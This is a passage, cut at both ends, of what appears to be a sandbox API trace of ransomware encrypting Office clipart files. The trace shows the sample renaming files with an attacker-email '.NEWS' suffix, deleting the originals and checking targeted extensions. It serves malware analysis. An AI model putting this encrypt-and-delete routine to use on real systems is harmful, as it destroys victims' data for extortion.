office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0161.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.648] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.648] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0161.649] GetLastError () returned 0x0 [0161.649] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x764, lpOverlapped=0x0) returned 1 [0161.668] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x770, lpOverlapped=0x0) returned 1 [0161.669] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.669] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.669] SetEndOfFile (hFile=0x46c) returned 1 [0161.687] CloseHandle (hObject=0x46c) returned 1 [0161.687] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.687] SetEndOfFile (hFile=0x4b4) returned 1 [0161.691] CloseHandle (hObject=0x4b4) returned 1 [0161.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0161.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.705] lstrlenW (lpString=".doc") returned 4 [0161.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.705] lstrlenW (lpString=".docx") returned 5 [0161.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.705] lstrlenW (lpString=".pdf") returned 4 [0161.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.705] lstrlenW (lpString=".xls") returned 4 [0161.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.705] lstrlenW (lpString=".xlsx") returned 5 [0161.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.705] lstrlenW (lpString=".ppt") returned 4 [0161.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.705] lstrlenW (lpString=".zip") returned 4 [0161.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.706] lstrlenW (lpString=".rar") returned 4 [0161.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString=".bz2") returned 4 [0161.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString=".7z") returned 3 [0161.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.706] lstrlenW (lpString=".dbf") returned 4 [0161.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.706] lstrlenW (lpString=".1cd") returned 4 [0161.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.706] lstrlenW (lpString=".jpg") returned 4 [0161.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.706] lstrlenW (lpString=".doc") returned 4 [0161.706] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString=".docx") returned 5 [0161.706] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.706] lstrlenW (lpString=".pdf") returned 4 [0161.706] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString=".xls") returned 4 [0161.706] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.706] lstrlenW (lpString=".xlsx") returned 5 [0161.706] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.706] lstrlenW (lpString=".ppt") returned 4 [0161.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.706] lstrlenW (lpString=".zip") returned 4 [0161.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.706] lstrlenW (lpString=".rar") returned 4 [0161.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.706] lstrlenW (lpString=".bz2") returned 4 [0161.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.707] lstrlenW (lpString=".7z") returned 3 [0161.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.707] lstrlenW (lpString=".dbf") returned 4 [0161.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.707] lstrlenW (lpString=".1cd") returned 4 [0161.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0161.707] lstrlenW (lpString=".jpg") returned 4 [0161.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.707] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.707] lstrlenW (lpString="IN00557_.WMF") returned 12 [0161.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.708] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=9172) returned 1 [0161.708] CloseHandle (hObject=0x4b4) returned 1 [0161.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0161.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0161.709] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.709] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0161.710] GetLastError () returned 0x0 [0161.710] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x23d4, lpOverlapped=0x0) returned 1 [0161.712] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x23e0, lpOverlapped=0x0) returned 1 [0161.714] ReadFile (in: hFile=0x4b4, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0161.714] WriteFile (in: hFile=0x46c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0161.714] SetEndOfFile (hFile=0x46c) returned 1 [0161.714] CloseHandle (hObject=0x46c) returned 1 [0161.714] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0161.714] SetEndOfFile (hFile=0x4b4) returned 1 [0161.717] CloseHandle (hObject=0x4b4) returned 1 [0161.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0161.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0161.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.719] lstrlenW (lpString=".doc") returned 4 [0161.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.719] lstrlenW (lpString=".docx") returned 5 [0161.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.719] lstrlenW (lpString=".pdf") returned 4 [0161.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.719] lstrlenW (lpString=".xls") returned 4 [0161.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.719] lstrlenW (lpString=".xlsx") returned 5 [0161.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.719] lstrlenW (lpString=".ppt") returned 4 [0161.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.719] lstrlenW (lpString=".zip") returned 4 [0161.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.719] lstrlenW (lpString=".rar") returned 4 [0161.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString=".bz2") returned 4 [0161.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString=".7z") returned 3 [0161.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.720] lstrlenW (lpString=".dbf") returned 4 [0161.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.720] lstrlenW (lpString=".1cd") returned 4 [0161.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.720] lstrlenW (lpString=".jpg") returned 4 [0161.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.720] lstrlenW (lpString=".doc") returned 4 [0161.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString=".docx") returned 5 [0161.720] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0161.720] lstrlenW (lpString=".pdf") returned 4 [0161.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString=".xls") returned 4 [0161.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.720] lstrlenW (lpString=".xlsx") returned 5 [0161.720] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0161.720] lstrlenW (lpString=".ppt") returned 4 [0161.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.720] lstrlenW (lpString=".zip") returned 4 [0161.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.720] lstrlenW (lpString=".rar") returned 4 [0161.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString=".bz2") returned 4 [0161.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.720] lstrlenW (lpString=".7z") returned 3 [0161.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.721] lstrlenW (lpString=".dbf") returned 4 [0161.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.721] lstrlenW (lpString=".1cd") returned 4 [0161.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0161.721] lstrlenW (lpString=".jpg") returned 4 [0161.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.721] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.721] lstrlenW (lpString="IN00915_.WMF") returned 12 [0161.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0162.095] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=12748) returned 1 [0162.107] CloseHandle (hObject=0x478) returned 1 [0162.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0162.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0163.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0163.830] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.830] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0163.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0164.275] GetLastError () returned 0x0 [0164.275] ReadFile (in: hFile=0x4e8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x31cc, lpOverlapped=0x0) returned 1 [0164.279] WriteFile (in: hFile=0x520, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x31d0, lpOverlapped=0x0) returned 1 [0164.280] ReadFile (in: hFile=0x4e8, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0164.280] WriteFile (in: hFile=0x520, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0164.280] SetEndOfFile (hFile=0x520) returned 1 [0164.280] CloseHandle (hObject=0x520) returned 1 [0164.280] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0164.280] SetEndOfFile (hFile=0x4e8) returned 1 [0164.283] CloseHandle (hObject=0x4e8) returned 1 [0164.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0164.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.284] lstrlenW (lpString=".doc") returned 4 [0164.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.284] lstrlenW (lpString=".docx") returned 5 [0164.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0164.285] lstrlenW (lpString=".pdf") returned 4 [0164.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.285] lstrlenW (lpString=".xls") returned 4 [0164.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.285] lstrlenW (lpString=".xlsx") returned 5 [0164.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0164.285] lstrlenW (lpString=".ppt") returned 4 [0164.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.285] lstrlenW (lpString=".zip") returned 4 [0164.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.285] lstrlenW (lpString=".rar") returned 4 [0164.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.285] lstrlenW (lpString=".bz2") returned 4 [0164.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.285] lstrlenW (lpString=".7z") returned 3 [0164.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.285] lstrlenW (lpString=".dbf") returned 4 [0164.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.285] lstrlenW (lpString=".1cd") returned 4 [0164.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.285] lstrlenW (lpString=".jpg") returned 4 [0164.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.285] lstrlenW (lpString=".doc") returned 4 [0164.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.285] lstrlenW (lpString=".docx") returned 5 [0164.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0164.285] lstrlenW (lpString=".pdf") returned 4 [0164.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.286] lstrlenW (lpString=".xls") returned 4 [0164.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.286] lstrlenW (lpString=".xlsx") returned 5 [0164.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0164.286] lstrlenW (lpString=".ppt") returned 4 [0164.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.286] lstrlenW (lpString=".zip") returned 4 [0164.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.286] lstrlenW (lpString=".rar") returned 4 [0164.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.286] lstrlenW (lpString=".bz2") returned 4 [0164.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.286] lstrlenW (lpString=".7z") returned 3 [0164.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.286] lstrlenW (lpString=".dbf") returned 4 [0164.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.286] lstrlenW (lpString=".1cd") returned 4 [0164.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0164.286] lstrlenW (lpString=".jpg") returned 4 [0164.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.286] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.286] lstrlenW (lpString="J0090777.WMF") returned 12 [0164.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0164.293] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=3332) returned 1 [0164.293] CloseHandle (hObject=0x520) returned 1 [0164.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090777.wmf")) returned 0x220 [0164.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft 